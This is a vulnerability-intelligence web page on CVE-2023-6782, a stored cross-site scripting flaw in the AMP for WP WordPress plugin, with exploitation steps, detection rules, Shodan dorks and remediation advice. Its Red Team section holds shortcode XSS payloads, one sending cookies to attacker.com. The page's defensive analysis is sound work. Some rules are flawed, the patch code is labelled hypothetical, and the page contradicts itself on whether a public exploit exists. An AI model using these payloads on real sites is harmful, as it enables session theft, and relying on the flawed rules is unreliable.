☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-6782

CVE-2023-6782 Cross-Site Scripting in Amp for wp
📅 PUBLISHED: 2024-01-11 08:32 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-6782 is a Stored Cross-Site Scripting (XSS) vulnerability in the AMP for WP – Accelerated Mobile Pages WordPress plugin, affecting all versions up to and including 1.0.92. The vulnerability resides in the plugin's shortcode handling, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level permissions to inject arbitrary web scripts into pages. When a victim accesses an injected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), and no public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction needed for exploitation. However, the impact is limited to low confidentiality and integrity loss.

Deep Dive & Mechanics

The vulnerability exists in the AMP for WP plugin's shortcode implementation. Shortcodes in WordPress allow users to embed dynamic content via simple tags like [amp-xyz attribute="value"]. The plugin fails to properly sanitize and escape user-supplied attributes within these shortcodes. An attacker with Contributor-level access can craft a shortcode with malicious JavaScript in an attribute, such as:

[amp-xyz onerror="alert('XSS')"]

When the page is rendered, the browser executes the injected script. The stored nature means the payload persists in the database and executes for every visitor.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.0.92): The plugin likely uses add_shortcode() and directly outputs attribute values without escaping. Example:

function amp_shortcode_handler($atts) {
    $output = '<div class="' . $atts['class'] . '">Content</div>';
    return $output;
}
add_shortcode('amp-xyz', 'amp_shortcode_handler');

Patched Code (Hypothetical): The patched version would escape attribute values using esc_attr():

function amp_shortcode_handler($atts) {
    $class = esc_attr($atts['class']);
    $output = '<div class="' . $class . '">Content</div>';
    return $output;
}
add_shortcode('amp-xyz', 'amp_shortcode_handler');

Exploitation & Lab Setup

Red Team

  1. Prerequisites: WordPress site with AMP for WP plugin <= 1.0.92, an account with Contributor-level permissions.
  2. Craft Payload: Create a post or page and insert a shortcode with a malicious attribute:
    [amp-xyz onmouseover="alert(document.cookie)"]
    
  3. Trigger: When an admin or visitor hovers over the element, the script executes.
  4. Advanced Payload: Use event handlers like onerror, onload, or onfocus for automatic execution:
    [amp-xyz onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
    

Blue Team

  1. Detection: Monitor for posts/pages containing suspicious shortcode attributes (e.g., onerror, onmouseover).
  2. Prevention: Implement a Web Application Firewall (WAF) rule to block shortcodes with event handlers.
  3. Hunting: Search the database for shortcode patterns using SQL queries:
    SELECT * FROM wp_posts WHERE post_content LIKE '%[amp-%' AND post_content LIKE '%onerror%';
    

Indicators of Compromise (IOCs)

  • File Indicators: Modified plugin files (e.g., wp-content/plugins/accelerated-mobile-pages/*.php).
  • Network Indicators: Outbound connections to attacker-controlled domains from WordPress admin pages.
  • Database Indicators: Posts/pages containing shortcodes with event handler attributes (e.g., onerror, onload).
  • Log Indicators: Unusual 404 errors or POST requests to wp-admin/admin-ajax.php with shortcode payloads.

Detection Engineering

YARA Rule

rule CVE_2023_6782_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in AMP for WP shortcodes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6782"
    strings:
        $shortcode = /\[amp-[a-z]+\s+[^\]]*?(onerror|onload|onmouseover|onfocus|onclick)\s*=\s*["']?[^"'\]]*?["']?\]/i
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2023-6782 Stored XSS via AMP for WP Shortcodes
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in WordPress posts/pages using AMP for WP shortcodes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - '/wp-admin/post.php'
            - '/wp-admin/post-new.php'
        http.body|contains|all:
            - '[amp-'
            - 'onerror'
            - 'onload'
            - 'onmouseover'
    condition: selection
falsepositives:
    - Legitimate use of event handlers in shortcodes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6782 Stored XSS via AMP for WP Shortcodes"; flow:to_server,established; content:"[amp-"; nocase; content:"onerror"; nocase; distance:0; within:200; content:"onload"; nocase; distance:0; within:200; content:"onmouseover"; nocase; distance:0; within:200; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the AMP for WP plugin until a patch is available.
  2. Short-term: Restrict Contributor-level permissions to trusted users only.
  3. Long-term: Apply the vendor patch when released, or manually escape shortcode attributes in the plugin code.
  4. Compensating Controls: Implement a WAF rule to block shortcodes containing event handlers. Use a WordPress security plugin to monitor file integrity.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"amp-for-wp"
http.html:"accelerated-mobile-pages"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-6782/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.